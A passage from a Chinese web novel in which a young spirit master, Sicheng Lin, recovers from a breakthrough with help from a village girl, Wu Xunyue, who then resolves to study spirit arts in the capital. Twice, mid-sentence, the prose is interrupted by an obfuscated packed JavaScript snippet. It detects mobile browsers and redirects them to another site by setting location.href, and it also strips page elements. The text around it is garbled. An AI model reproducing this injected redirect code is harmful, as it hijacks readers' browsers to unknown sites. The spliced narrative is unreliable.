丛林之中潜藏着许多野兽低鸣,将外出觅食的牝鹿在交代孩子要躲藏好,松鼠妈妈正带着孩子们搬家,火彩鸟刚刚带着食物归巢,将捕到的小虫依次分给四只张着大嘴的雏鸟宝宝。 山间轻风吹拂,将一朵白蘼花瓣吹落,花瓣先是砸在叶片上,又往外一倾,掉落下去。 这便是封号灵师的听觉吗,轻易就能捕捉这世间的一切声音,只要愿意,就能无限放大某一处声音的细节,仿佛近在耳畔。 刚刚获得了这种神灵般窥听万物的神力,司城凛有些沉浸其中,不愿醒来,就像第一次考了满分的孩子,难掩骄傲,只想好好享受此刻成功的感觉。 可其中——怎么还有人的呼吸和心跳? 司城凛警觉地睁开双眼,余光中人在右侧,便转头向右看去—— “你醒啦?”巫寻月先他开了口。 司城凛对上她的眼睛,没有很快说话。他有些愣怔,眼前少女的脸上满是惊喜,不是那种路见不平助人为乐的惊喜,而是……一种对他很熟悉的欣喜。 当然还有一个原因——她很美,美得不可方物,他看遍神都绝色,也没让她有半分失色。 巫寻月以为他脑子还不清醒,便又主动说:“昨天半夜我被你的灵压震醒,就知道是你出了事,起来一看,我姐姐和全城的百姓都晕过去了,来到这里看到你果然也晕倒了。” 司城凛惊愕地看着她,开口说了第一句话:“你怎么知道?” “因为我一直都在这里,你来这里已经两年啦,”巫寻月向他坦白,“每隔五天来一次,每次都会来两天。” 司城凛双眼愕然之中多了一丝警觉。 ——难道她的灵力远高于他?不可能,他已探查到她身上没有任何使用灵术的痕迹,况且,她看起来才十几岁,整个灵族史上都没有存在过如此年幼的封号灵师。 司城凛细探她的气息,慢慢想明白了,道:“你说你一直都在这里?你住在这里吗?” “我家在邬戍城里,小时候有一天来这里采药,就发现这里很好玩,之后就经常会来。” 原来如此。司城凛沉了口气,面色也柔和了些许:“难怪你的气息和这里的植物如此之像,甚至已经和这里的山川草木融为一体,令我没有察觉。” 见他神情变得放松,巫寻月松了口气,终于得以说出一直想说的话:“你进步好快哦,我虽然不学灵术,但能感觉到你现在和两年前完全不一样了,其实每隔一段时间就能明显感觉到,但是这次不一样,这次真的彻底不一样了!跟我见过的所有灵师都不同——不!我现在觉得那些灵师用的灵术看起来都像小孩过家家,根本不能拿来跟你比。” 见她滔滔不绝,司城凛莫名生出几分心安,听得很认真。他也明白为什么她看他的眼神如此熟悉了,原来,她早就认识他了。 他突然很想她继续说下去,像这样真诚质朴的褒扬,他从未有过,好像在别人眼中他天生就该那么强,他所付出的一切努力也都是理所当然的,都是为了成为别人眼中那个天生就该是强者的司城凛。 “一定是因为他们没像你这么努力!”巫寻月如他所愿,自顾地说了下去,“我从来没见过谁像你一样刻苦坚持,你甚至可以两天不吃饭不睡觉,不停地练不停地练——你太厉害了!你能变成今天这样,完全对得起你做的这些努力。” 司城凛缓了好一会,嘴角微动,轻轻说了声:“谢谢。” 见他专注地看着自己,巫寻月也被他的俊颜看呆了,小嘴一张,直接就说:“你长得好好看哦,你是我见过长得最好看的人了,好看得不像真的,像被精心雕出来的一样。” “……”她话题转换太快,司城凛有些没反应过来,但似乎与夸他用功相比,他此刻更压不住笑意——定是因为她看起来太认真了。 司城凛难得羞赧,稍稍收回目光,终于注意到了自己身上陌生的衣服,愣道:“这是……” “你的衣服都被你的灵压震碎了,”巫寻月从身后拉出一个竹筐,“我捡回来了这些,还有你的东西也掉得七零八落的,能找到的我都捡回来了。” 司城凛已经顾不上致谢了,他的大脑飞速转动,只想立刻确认一件事:“……全都吗?” 巫寻月知道他想问什么,这一夜她都在说服自己忘掉这件事,可现在…… 她话还没答,脸已先红。见她如此反应,司城凛心下一沉,终是听到她如他所料般承认:“……嗯。” 司城凛脑中一阵轰鸣,有点缺氧。 ——他就这么被一个小姑娘看光了?完完全全看光了?还这么照顾了他一夜?还给他穿了……不知从哪来的衣服? 司城凛实在不自在,醒来跟她说了这么会儿话,才终于第一次有了别的动作——尴尬地摸了摸鼻子,再看看别处,试图让自己看起来冷静些:“那这个衣服……” “——喔,是我去衣冠铺里买的,”对面的小姑娘也正红着脸,垂着眼,说话间已不敢看他,“……等早上铺子开了门才买的,昨天夜里想回家拿我爹的,可不知被姐姐收到哪里去了……山里冷,我怕你着凉,就先拿了披风给你盖上。” 这一次,司城凛不再记着自己就这么光着让她看了一夜,转而注意起了她的事。这衣服面料不算上乘,可也是做工精细,穿着舒适柔软,大概是她能在城里买到的最好的了,加上她说自己有许多时间玩耍,那么家境应该还算宽裕。 以及,家里父亲的衣物由姐姐收着,那么说明家中父母不在。 司城凛没想太多,直接就问了:“你家父母不在吗?” “我娘走得早,生我之后不久就不在了,父亲说要带她回乡安葬,之后再也没有回来。” 司城凛听得一愣,为自己的鲁莽而惭愧,可巫寻月看起来并不在意,接着开心地告诉他:“是姐姐将我养大的,她比我大九岁,小时候由姑母照顾我们,没几年姐姐就开了药铺,生意做得越来越好,后来都是姐姐自己在照顾我了。” 司城凛问:“有跟桑家做买卖吗?” “有啊,我们家药铺是桑家在邬戍城的指定供货商,桑家每个月都会从神都过来收药。” 司城凛这下算是放心了。桑家对药材品质的挑选极为严苛,不仅舍得到各地收购臻品、稀有药材,给出的价格也一向丰厚,能和桑家攀上生意,她们家在这里的日子定然不会差。 “那就好。”他轻轻说。 “我得回去了,”看着天上的日头,巫寻月突然说,“先生今日该来家里了,可早上你还没醒,我便找借口说丢了东西在这里要过来找,让先生下午再来。” 司城凛还在愣怔,就见她拿小拳头往地上一砸,闷闷地道:“本来是想再旬休一日,明日再上课,可姐姐说我在找借口跑出去玩,下午必须让先生来上课。” 司城凛听懂了。其实他一直都听了进去,只是……面对初见女子对他的如此关心,他有些张皇无措。 ——她昨夜第一时间便来了,感知到他出了事,即便是深夜也来了,将他救起之后又回家给他找了衣服,下半夜或许她就在这里陪着他,一直到早上铺子开门,又跑回去给他买衣服。 ——昨夜至今,她为他往往返返奔波了五趟。而且,她本想一直陪着他,如若他午后还未清醒,她下午定会想法子不去上课。 看来,她真的一直在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674279|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了他很久很久,而他从未察觉,从未知晓。 司城凛一时失语,缓了缓才开口:“你……你怎么回去?” 巫寻月说:“骑马。” “那好。”他算是放心,而后,也告诉她:“我也得走了,我回去要走很远的路。” “我知道,你从很远很远的地方来。” “对……很远很远的地方。” 见他不说,巫寻月也不勉强,就要起身。 “谢谢你。” 她突然听见他说,转头看向他。司城凛嘴边挂了一丝笑意,终于敢拿来说笑了:“要不是你,我今天还不知道要怎么出去。” 很好,他成功让她脸红了。他得承认,他故意的,他觉得那样……挺可爱。 巫寻月很快站了起来,不自在地看向别处,说:“……没什么,衣服你不用还了,我们小地方,物价不贵的。” 似乎还有许多话未说,可她的心好乱,得离开这里冷静一下了。 “那我走了。”说这话时,巫寻月没看他。 “好。”他却是在看她。 巫寻月走了,沿着溪流往外走,很快消失在了山后。 等她一走,司城凛才开始好好观察四下。这里灵气充沛至极,以他现在的感知力,甚至可以说这里的灵气醇厚得散发出馥郁的味道,极其适合他灵爆之后疗伤和调息。他曾将山谷走了个遍,探寻灵气浓度最佳之处,莫过于此。当初选定不远千里来此参悟封灵境,也正是看中这里的至纯灵气。 可,她怎么会知道? 她身上是有灵气的,还未开灵,可灵气已然不低——只有至少七重灵以上,才能扛住封号灵师的灵压不至昏迷,所以全城人都昏迷了过去,只有她保持清醒。 而七重灵,是灵师入学七年毕业的标准。也就是说,她还未曾学习灵术,就已经拥有一个学习七年灵术的毕业生的水平了。 司城凛嘴角一弯,自言道:“原来在长隐洲许多不知名的地方,还藏着这么多天才。” 最重要的是,灵爆非比寻常,他根本不可能这么快醒来并且精神充沛。 灵爆有两个结果,要么飞升上层灵境,要么失去神智异变成怪物,即便他现在已然成功升入封灵境,可这意味着灵爆之后他需要更长久的时间调息恢复,绝不可能这么快醒来还能体力如常。上一次飞升破灵境,他足足躺了三天,才恢复到如常。 他能感觉到体内流动着一股蓬勃之力,带动他浑身气血源源不断通畅运转,令他修成的深厚灵力在他身体稳健修复之时,快速适应了与他的灵魂融为一体。 她到底还对他做了什么呢? 还有,她一个娇娇小小的姑娘是怎么把他一个大男人从花海里扛进来的? 好像……也没问她的名字。 似乎这些才是所谓的正事,可竟一句也没问,刚才两人在这说了许多话,可想想又似乎什么也没说…… ——都怪他灵爆震破了全身衣物,让他羞得方才几乎全程大脑空白,失去了思考能力。 另一头的邬戍城里,先生的课上到酉时。 谷先生的学问在邬戍城的读书人里数一数二,好些富贵人家抢着请他到家里讲私塾,若是排课相冲,也不惜重金挖人。只是谷先生并非为钱财折腰之人,要他自己相中学生才肯教。 初见巫寻月,谷先生便知道这是他见过最聪明的学生,比所有的男子都要聪慧知世。 聪明到让他觉得,她的一生不该止步于这座偏远的小城中。 酉时到了,谷先生还想多讲,便看见巫寻月急不可耐地找了借口想要放学。谷先生一眼说穿她:“又想跑出去玩。” “我没有!”即便心知肚明,巫寻月嘴上总得过得去。 谷先生纵容地收了书,笑道:“去吧去吧,多去看看这天地,未尝不是一种读书。” 木香追出来让她吃了饭再出去,巫寻月顾不得那么多,头也不回地奔向了垩山。 一进山里,她就看见小白站在花海之中,低头往底下嗅着什么。 “小白——”巫寻月一边高喊一边往那边跑,小白抬头望见她,往后仰了仰脖子,抖一抖巨大的脑袋,给自己做了个放松。 巫寻月走近便问:“你在这里做什么?” 小白低头看向脚底,还拿爪子推了推示意。巫寻月循着看过去,只见小白脚边躺着一只玉佩,她倾身捡起,样式倒是平平无奇,只是成色显旧了些,细微处还有着裂纹。 千里之外的神都,夜色至深时分,司城凛才终于回到了司城宅邸。 回屋的路上,司城凛被侍女喊住了:“少爷!您回来了!” 司城凛停下脚步,侍女碎步跑向他,欣慰地笑了:“您回来了就好,您这次出去好久,宗主用晚饭时见您还没回来,还有些担心您呢!” 司城凛原想先回屋换身衣服,再去看看父亲是否已安寝,既先碰到了侍女,便问了:“父亲大人可安歇了?” “宗主晚饭之后有客人到访,在书房待客许久,许是累了,早早便歇下了,交代了若是您回来得晚就不必过去请安了。” “好,帮我备热水,我要沐浴。”说完,司城凛转身走了。 回到屋里,他先卸下身上的物件,可卸完了,就察觉到不对了。 司城家令牌在,九部令牌在,界凝珠在,探灵散在,银元也在,其他乱七八糟的用上了没用上的东西都在……唯独那枚祖传玉佩不见了。 少女的声音飘然入耳:“我捡回来了这些,还有你的东西也掉得七零八落的,能找到的我都捡回来了。” 许是掉到了很远的地方,她没找到。 司城凛的头都要大了,他一路在想很多的事,竟没想到返程前先检查一番。 其他东西丢了不要紧,灵器丢了可以重做,用作饰物的组配丢了便不要了,哪怕是家里的令牌和九部令的令牌丢了都不要紧,没人敢拦他,可偏偏——那祖传玉佩,不能丢。 4. 第 4 章 司城凛再次来到邬戍城外的垩山,是第二天的落日时分。 远远地,他就眺见一颗巨树下坐着一位少女,正低头摆弄手中的活儿。 司城凛放慢脚步,轻轻落在花丛间,提步朝她走去。 待他身影进入视线,巫寻月抬头便冲他一笑:“这么快?这块玉佩很重要吗?” 她见到他的眼神里永远充满了灵动的欣喜,他有些看呆,缓了缓才说:“是,家中令牌丢了不要紧,家里无人不识我,工作令牌丢了……也不要紧,但这块玉佩为先祖传下来的,只此一块,是我祖父在世时所赠,不可遗失。” 司城凛今日所着主色调乃螺青织金,仍是窄袖交领外衫,外加宽肩无袖对襟外套,显得更正式了些,蹀躞与护腕俱全,十足的武官扮相。 从前远远地,只觉得他衣着气派,样式华丽,昨日第一次靠近他,他衣服却没了。今日好像是他第一次以如此完整的、正式的、她脑海中的形象在她近前出现,细看之下比她想的还要光华流转、精工富丽。 巫寻月看够了,才问道:“那你何时到家?又何时再过来的?” 他如实答:“昨夜亥时方至,今日……该是未时过后出发。” 巫寻月面露惊诧:“那要三个时辰呢……” 司城凛稍有迟缓,才说:“昨日回程不太着急,一路不紧不慢走了快五个时辰,今日赶路,动作加快了些。” 千里之外的神都一定没人相信,司城凛竟会如此亲和地有问有答,甚至是主动解释。 也不知道为什么,她问什么,他都抗拒不了回答她,尽管这些话放在往日旁人的嘴里,他都觉得很无聊,不值得理会。 巫寻月心中有了猜想,问:“是嶷雾城吗?” 司城凛微怔,原来,她心里盘算着距离呢。他嘴角一弯,终于告诉她:“是神都。” 此言一出,惊得巫寻月猛然起身,难以置信地看着他:“你……你从神都过来,只用了……三个时辰?” 司城凛算了个仔细:“再多一刻钟。” “……”巫寻月膛目结舌。 见她如此,司城凛莫名生出几分得意——他此前从未与人如此吹嘘:“我遁术是不错,原本瞬移比轻功好,但这两年频繁跑来邬戍,现在轻功练得和瞬移差不多了。” 这下巫寻月听不懂了:“……什么?” 司城凛都忘了,人家都没学过灵术。他便也不多说,转而问起正事:“我的玉佩。” “——喔,”巫寻月从怀里取出玉佩,伸手递向他,“我在花丛里捡到的,还以为你要再过几日才会来取。” 司城凛收回玉佩,想起来她说过,她谙熟他来此的规律,每隔五日,每次两天。两人间隔着两步远,他认真地注视着她,犹豫之后,郑重开口:“之后……我可能不会再来了。” 巫寻月心底轰一下,有什么东西塌了:“……为什么?” “……家中事多,修炼便先暂时到此。”司城凛不算说谎。 夕阳落下,整片花海泛映金光,也将少女眼底跃动的珠光点染成了金色。 巫寻月最终只轻轻应了声:“噢。” 玉佩拿到了,司城凛却没打算即刻动身离开。他终于想起来问她:“你……知不知道,灵爆非同小事,稍有不慎我就会变成怪物,而且也不会这么快就清醒过来。” “我知道啊,”巫寻月恢复了如花的笑靥,“我给你吃了寻月草。” “是什么?” 巫寻月蹲身下去,在竹篓里取出一株寻月草,举到他面前。这草一株双叶,通体紫色,叶片有掌心般大,叶肉厚实,根茎粗壮,待司城凛接到手中,一探便感知到了草中蕴含的强旺灵力。 “这草喜欢长在灵力极旺盛之处,夜间会发出紫光,因为月出时它便会吸收灵力,故名寻月草,”巫寻月说,“因具有强灵气,能在极短时间内修复经络、镇压气血,调和体内灵气行稳,最适合用于修复损耗大量灵力和被灵力所伤。” “可我这次灵爆非普通灵爆。” “这株寻月草也非普通寻月草。” 司城凛不明所以,不言。巫寻月浅浅一笑,说:“你能感觉到这株草灵力很强对不对?这只是臻品而已,给你吃的那株是仙品,灵效强于这株千倍,此刻已在你体内了。” 司城凛顿生惊震,有些错愕地看着她——强于此株千倍的灵力,的确足够匹配修复封号灵师的损伤了。他当然是见过绝大多数的稀世灵草,身为灵族至高尊贵的宗族世子,自然坐拥无上资源,包括桑家珍藏药草的宝库,也是他从小玩耍的场所。 可,这株所谓的寻月草——没见过,也没听过。 司城凛轻念道:“寻月草……” 巫寻月笑了:“我的名字。” 司城凛一惊:“……寻月?” “嗯,”她应得轻灵,“我爹取的,听说我娘生我的时候难产大出血,我爹连夜来这山里寻药,终在极其险峻之处发现了这种灵草,保住了我娘的性命。所以,爹娘就给我取了这个名字。” “原来如此,”司城凛认真地看着她,并未略过关键,“所以,昨夜你也去了那个极其险峻之处吗?” “……”倒是没想过他会注意这个,巫寻月当然不能说实话,仙品寻月草长在山崖峭壁的缝隙间,那是能照射到月光的最佳之处,大部分路途是小白带她飞的,可小白不擅攀爬,这草又生在小白飞不到的死角,所以,最后最为险峻的一段路,是巫寻月自己爬上去的。 见她沉默,反而令他确定了答案。司城凛变得更是无措,明明对他而言不过只见了她两面,可她却已为他做了太多。 司城凛开口问:“为什么一直不让我发现你?” 这个问题,巫寻月答得很诚恳:“总觉得我们不相干,既然彼此打扰又都需要这里,那就当做看不见最好,如果你知道我在——你还会来吗?” 司城凛明白了。 司城凛浅浅一笑,转而问:“你说你经常来此玩耍,又对草药如此熟悉,可我听你言谈不像是没读过书,你有在上学吗?” 他要说起这个,那可有得聊了,巫寻月闲闲地往地上一坐,才娓娓道来:“以前去过,十一岁时姐姐送我去了学堂,可是学堂的夫子不待见女孩儿,就算我的功课做得最好也总疑我有假,学堂那些男生也总戏弄我,所以后来姐姐就不让我去了,请了先生到家里给我上课。” 司城凛感到不解:“为什么戏弄你?” “因为我是女孩子,而且长得好看。”巫寻月抬眸冲他一笑,眼里满是明媚。司城凛心头一颤,就听见她继续说:“所以他们觉得我不应该读书,要么做个花瓶摆在富贵人家,要么去卖艺让人观赏。” 司城凛更是困惑了,似乎没听懂:“……为什么他们会这么想?” 轮到巫寻月错愕地看着他,这一刻,他真真不像是这世间凡人。巫寻月憧憬地望着他说:“谷先生说,神都女子人人都可以上学,人人都有自己的工作,与男子并无不同,看来是真的。” 原来如此,繁华的灵族中央都城与偏远闭塞地区的边城,竟在生存和思想上有着如此天壤之别。司城凛认真地告诉她:“本应如此,灵族立身之本乃是灵术修为,因此在灵师的世界里,唯灵力论,男女并无不同,对于守护灵族安危同等重要——当今的灵族首尊,天听阁大灵师,正是一位女性。” “——真的吗?”巫寻月如听惊世之语,双目异彩放光,“灵族首尊,是最厉害的灵师吗?是一位女性?” 司城凛点了点头:“大灵师坐镇天听阁首尊已将近两百年,至今无人撼动。” “天啊……”听到这些,巫寻月跟做梦一样不敢相信,“神都真好啊……我好土啊,从来都没出过邬戍城,根本不知道这些。” “何故为土?”司城凛看着她的眼睛,言辞肃正,“神都大多数人对草药的了解都没你多,看过的风景也未必比你多,在你眼里,这样的他们也应该很土。” 此刻的司城凛,如天神下凡一般,在巫寻月眼中熠熠生辉。 还不等她感动完,司城凛如下定决心一般,更为郑重地开了口:“你有没有想过,去神都,学灵术,成为灵师?” 巫寻月的整个世界,如被一颗巨星撞地般轰然炸开。她从未敢想,灵术和灵师这些字眼,会和自己关联到一起,她如闻惊骇,愣了半晌还未反应过来:“我……去神都,学灵术?” 司城凛终于坦白:“我探到你已有七重灵,虽未开灵,却比大部分世家子弟都有天分,你可以去试试考取神都学宫,那是灵族学习灵术的学校,毕业之后,就可以成为灵师。” 巫寻月一下子站了起来:“——真的吗?” 司城凛点了点头。 “所有的灵师都是在神都学宫学的灵术吗?” “是。” “你也是?” “……当然是。” 司城凛看到,她听完,明显变得更向往了。所以,他决定,再对她说一句话:“若你来神都,我们还会再见。” 巫寻月呆呆地看向他,说不出话了。两人就这么看着彼此,好半天,她才慢吞吞地说:“那……你还在神都学宫吗?” “我已毕业四年,”司城凛说完,这才想起来问她,“你今年几岁?” “十五岁零一天,”她笑起来,“昨天是我生日。” 司城凛唇角一弯:“我大你七岁。” “……哦,”她终是知道了,“所以是二十二。” “是。” “那……我猜对了,你上四休三对不对?”她又拿那般欣悦的眼神看他,“旬休三日,来修炼两日,一日往返休息。” 司城凛笑了笑,觉得好有趣:“是。” 巫寻月看起来非常满意。 夕阳就快落下去了,天幕渐渐染上墨色,将两人的面庞映衬得更为柔和。 司城凛从蹀躞里取了个物件出来,向前一步靠近她,说:“今日我告了假,晚上还要赶回神都,明天有重要的事,这个……送你。” 待他掌心摊开,一只石器吊坠附于其间,主材质看不出,宝石镶面,制式繁复,精巧至极。巫寻月接过来,问:“这是什么?” “罡灵坠,修炼时佩戴有通达之效,将你导向最正确的修炼方式,很适合灵术初学者用。” 巫寻月仔仔细细看了一遍,首先得出结论:“这看起来不像是男子会佩戴的东西。” 司城凛不得不承认:“这是女式的。”巫寻月迅速抬眼看他,他只好再承认:“我……专门给你拿的。” 巫寻月怔住了:“所以,你早就想好了,要叫我学灵术。” 司城凛没回答,相视之间,他问:“你会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巫画荻听此一言,气得一甩筷子:“我就知道那蓝家不是什么好东西,都说蓝家公子贤名在外是个好人,可仆下有如此做派,那蓝府能是什么好地方?” 巫寻月赶紧宽慰她:“哎呀姐姐,本来我们早就拒了,就不必放在心上了。” 巫画荻气得吃不下饭,吐了口气,说:“蓝家家世是好,声名也不错,我原想这也算是个好归宿,只要你愿意,姐姐也是支持的。可是你看都这么些时候了,那蓝家公子口口声声说心仪你,可他亲自来见过你几次?又可曾用心接近你,想让你对他有所了解?分明还是从心底看不起我们家,觉得我们是女子持家,低他们一等,拉不下面子罢了!这样的家风,也算是贤?我呸!” 木香在一旁帮腔:“就是就是。” 巫画荻一针见血,字字戳在要处,这也正是巫寻月心中所想。蓝家公子说喜欢她,闹得邬戍城人人皆知,却从不亲自现身与她往来,要说交流……还不如她与那个人短短两日加起来说的话多。那所谓的喜欢,实际的没有,却挡掉了许多畏惧蓝家势力的好人家,让他们不敢再对她有念头罢了。 说到此处,巫画荻便也一同骂了:“那些畏惧蓝家势力的,我看也就那样,若是哪家男子真因为畏惧他家而退避,那对阿月也并非真心,丝毫不可惜!” 木香简直是崇拜极了:“大娘子说得太好了!” 两人一唱一和,巫寻月却是一直沉默。见她久不说话,巫画荻看向她:“阿月今天怎么了?平日里你最聒噪了。” ——反正都是要说的,索性就现在说了。 巫寻月鼓足了劲儿,停下筷子,看向姐姐,全神贯注道:“姐姐,我想去神都,考神都学宫,学习灵术,将来当一个灵师。” 巫画荻和木香双双膛目结舌,像是瘫痪般久久无言。还是木香先回过了神:“……小娘子怎么突然会有这个想法?” 巫寻月转向巫画荻,言辞恳切,也没失乖巧:“姐姐,我想好了,其实我已经想了好久,我想去神都。先生说在神都,女子人人都可以上学,人人都有工作,不必在家看父兄的脸色。又有人跟我说,在灵师的世界里唯灵力论,男女并无不同,对于守护灵族安危同等重要,女子同样强大,当今灵族至尊的大灵师就是女子。姐姐,我想去看一看,我想去看看灵师的世界,我想在灵师的世界里做一个被敬重的女子。” 她一番言辞发自肺腑,振聋发聩,巫画荻心中颤动,一时未能反应。良久,巫画荻眼底有泪,缓缓道:“可灵师并非普通平民能做的,神都那教授灵术的学校也并非有钱就能上的,若你没有天赋……” 巫寻月急忙打断她:“有人跟我说了,我有天赋,我比很多人都要有天赋!” 见她如此兴奋,巫画荻倒是奇了:“你今日哪来这么多有人说,是什么人啊?” “呃……我整日在外瞎跑,遇到一些奇人也不奇怪,”巫寻月明白她的担心,又说,“无论那人说我有天赋是真是假,但有一点是真,若神都真是一个让女子有所作为的地方,那无论如何,我都想去看一看,闯一闯。” 巫画荻还在犹豫,木香先被说动了,一番涕零:“小娘子,你说得真是太好了,神都真是个好地方呀……” 5. 第 5 章 巫画荻当夜并未松口,她说,容她回去再想想。 可第二天上午,巫寻月起床之后,木香便告诉她,姐姐去给她办前往神都所用的路引了。巫寻月一听,高兴得一跃而起:“——姐姐同意了!” 当天巫画荻归家,巫寻月一下子冲到门前扑进她怀里。巫画荻眼含热泪对她说:“姐姐早就说过,等阿月找到了自己想做的事,姐姐一定会支持你的。” 巫寻月开始担心了:“可是姐姐,我不在家里,你自己可以吗?” 巫画荻眼神挤兑她:“瞧你说的,好像你平日在家对我多有用似的。” “哦,那倒也是。” 木香在一旁笑。而后,巫寻月又认真对姐姐说:“姐姐,我长大了,不再是一个需要你看顾的小孩子了,我希望你也能有自己的归宿,希望有人能照顾你,爱护你。” “好好好,”她远行在即,巫画荻自是要叫她放心,“姐姐知道了,等你一走,姐姐就抓紧顾着自己的事。” 回到神都又是深夜,连日奔波几千里,司城凛却觉得不似从前那般费力,在空中驾风御云时,仿佛每一缕空气都主动推助他前行。 仅仅只是两日,他与体内封灵境级别的灵力就融合得如此之快,实在远超他所料。 司城凛才回屋坐下不久,侍女便来扣门:“少爷,宗主知道您回来了,着人要您过去一趟。” 司城凛略有意外:“这么晚?父亲大人还未休息吗?” “宗主说,多日未见,不知您都去哪里了。” 的确是多日未见了。原本他旬休时去邬戍城修炼是正事,父亲也知道,他这么大个人了自然也有在外面同朋友吃酒作乐偶然一两日不归的时候,父亲也不多管,可这次毕竟是因为修炼出走了四日,总该还是要担心一下的。 是该去见父亲了,他有最最重要的事要向父亲禀报,原想明日一早过去请安,但也许天注定,要让他们父子在这个深夜彻夜长谈。 司城凛来到父亲卧房前,里头亮着灯,未及请示,就听见了父亲的声音:“进来吧。” “是。”司城凛将门推开,提步而入。 司城靖靠在塌上,见他进来,缓缓放下了手中的折子。司城凛来到近前,双膝跪地,行大礼,毕恭毕敬道:“父亲大人。” 司城靖声线有些暗哑:“回来了。” “这么晚了,您还在看折子。” 司城靖将折子往案几上一放,说:“是你妹妹,部下来报说,最近一次收到她的行踪是五日前,她跑到山海洲一座矿地附近玩耍,见有家中部下在,便让他们捎信回来。” 司城凛闻言,算是放心:“迦染顽劣,好在她懂得牵挂家里,时不时会报个平安,虽然山海洲相距甚远,但毕竟人族地界没什么能够威胁到她的危险,您不必太担心。” 说是这么说,可司城靖脸上愁云未消:“迦染是爱乱跑,一来,我们也愿意她开开心心的,不必有任何负担;二来,也是为了瞒住她我的病情……” 说到此处,司城靖轻咳几声。司城凛正要上前,司城靖摆手拦下,继续说:“可迦染也已有十六了,之前去上了几天学便说不想去,跑到山海洲去一玩就是几年,几年过去除了贪玩,也没有其他想做的事,我只怕我再熬不了几年,看不到她到底想要什么……” 既说到此,司城凛便接着开了口:“父亲,我想,是时候该把迦染叫回来,告知她您的病情了。” 司城靖急看向他,眼底顿生震撼:“你,难道你……” 司城凛沉了口气,起身,退两步,留足空间,再比之前更为郑重地屈膝跪地,行稽首之礼。拜一次,未完,拜二次,还未完……到了此刻,司城靖已有些坐不住,缓缓从凭几起身,目光灼灼之下,却已泪光闪动。 司城凛拜足了九次稽首礼,是为隆重之至的正礼。 然后,他起身,正视父亲,沉着有力地开了口:“秉父亲大人,孩儿不负您重托,已于前日成功封灵。” 司城靖浑身一震,立刻就起身向前,来到司城凛近处,一边握紧他的手,一边为他把脉。司城靖越断越是惊异:“……好好好,灵流澎湃,如翻江倒海,是封灵之象……可竟感觉,这灵力在你体内像是已行径运转了数年,非但并无躁烈,反倒润泽百脉,通达窍穴,与气海血肉契合无间……” 寻常灵师初升上层境界,灵力如洪,该如野马初驯般在体内横冲直撞,尚需数日乃至数月调息,更何况,是灵师的最高造诣封灵境。他此次能有如此奇象,全仰仗巫寻月为他寻来的那株仙品寻月草。 司城凛也正想询问这株奇草,便主动说:“孩儿灵爆之后,被当地一位山中采药人所救,那人为孩儿服用了仙品寻月草,才使得孩儿有如此平稳之象。” “仙品寻月草?”司城靖同样面露讶异,若有所思,“这种药草我听桑川禾说起过,几年前我刚病重时,他召集桑家长老为我会诊,其中一位长老提到寻月草或对我有用,可桑川禾断言,我的病根源在经脉受外力重创,而非气海自行溃散,寻月草主内息调和,补益本源,只适合自身灵力受损之症,便放弃了这个提议。” 司城凛还在错愕,司城靖就将他的想法说了出来:“可以说,寻月草对于你,是最为匹配的对症下药……那位采药人,可是灵师?” “……她不是,只是一位当地的平民,从未修习灵术,”司城凛缓缓回过神来,“父亲,这长隐洲,实在还有太多不为人知的世外高人。” 听他如此一言,司城靖反而面露疼惜了。他轻轻将儿子扶起,一同往榻上走,道:“你年纪尚浅,若非我病重,时日无多,不得不命你抓紧修炼,这世间还有太多值得你去观赏的景色,值得你去见识的百态,值得你去体悟的是非……” 司城凛将父亲扶好坐稳,自己缓缓坐下之后,一抬眼便对上了父亲歉疚的眼神:“凛儿,你受苦了。” 司城凛抿唇不语,他无法说出些什么虚假的谦辞。七年了,自知道父亲病重这七年来,他的确实在太苦了,几乎没有一日休息,没有一日停歇。 司城家贵为六大宗族之首,灵族首宗,历任宗主无一不是灵族最强灵师之一。九年前,现任宗主司城靖在与风族一战中被暗算重伤,身体每况愈下,桑家举全族之力救治,却在两年后给出无力回天的论断,司城靖不知还剩多少年岁,但绝不能再上战场。 那时司城凛十五岁,正在神都学宫读五年级。他本就是千年不遇的天才,十一岁入学便有七重灵,十四岁已至真灵境,十五岁时正参悟隐灵境,却在此时听闻父亲身患绝症,不久于世。 为避免继任宗主位时还未升入封灵境,有损家族千万年来的荣誉,司城凛一改性格,自我封闭,夙兴夜寐,潜心修炼,生命里只剩下了一个目标——实现封灵。 司城凛十八岁从神都学宫毕业时已是隐灵境,之后进入司城家世袭执掌的灵师队伍九部令,从最基层的令士做起,一年后入破灵境,在令中席位赛打败了仅次于司城靖的副座。自那以后,司城靖便逐渐将令中事务交由司城凛接管。 然而,破灵境,已然是绝大多数高级灵师的终点,天下能够升入封灵境的封号灵师,在任的不过二十一人,算上退休的、刚飞升的、藏于民间的,也不过三十余人。在这些人中,封灵时最年轻的也有三十一岁——本任天听阁大灵师,其次便是司城靖,三十二岁成为封号灵师。 十五岁的司城凛所面临的困境,天下无一人所能体会。 也许这便是他的宿命,作为千年不遇的天才,出生在了灵族首宗的家庭,不知道父亲究竟什么时候突然就不在了,而他还要走过隐灵境、破灵境,才能升入封灵境。 他姓司城,他这一生必然是封号灵师,可别人可以用三四十年来实现,他却不知道留给自己的时间究竟有多少。 今天,他终于得到了答案——七年。 司城凛,二十二岁,成为了灵族史上,最年轻的封号灵师。 司城靖紧握司城凛双手,热泪盈眶:“明日我便带你去天听阁,面见诸位阁老和十一令座首,昭告天下。” “如今我灵力尚未完全稳定,此事不急,”司城凛道,“父亲大人还是要多注意身体。” 司城靖摆了摆手,让司城凛给他倒了杯茶,说:“你既已封灵,我们要做的事还有很多,我的身体一日不如一日,我们没有太多时间了。” 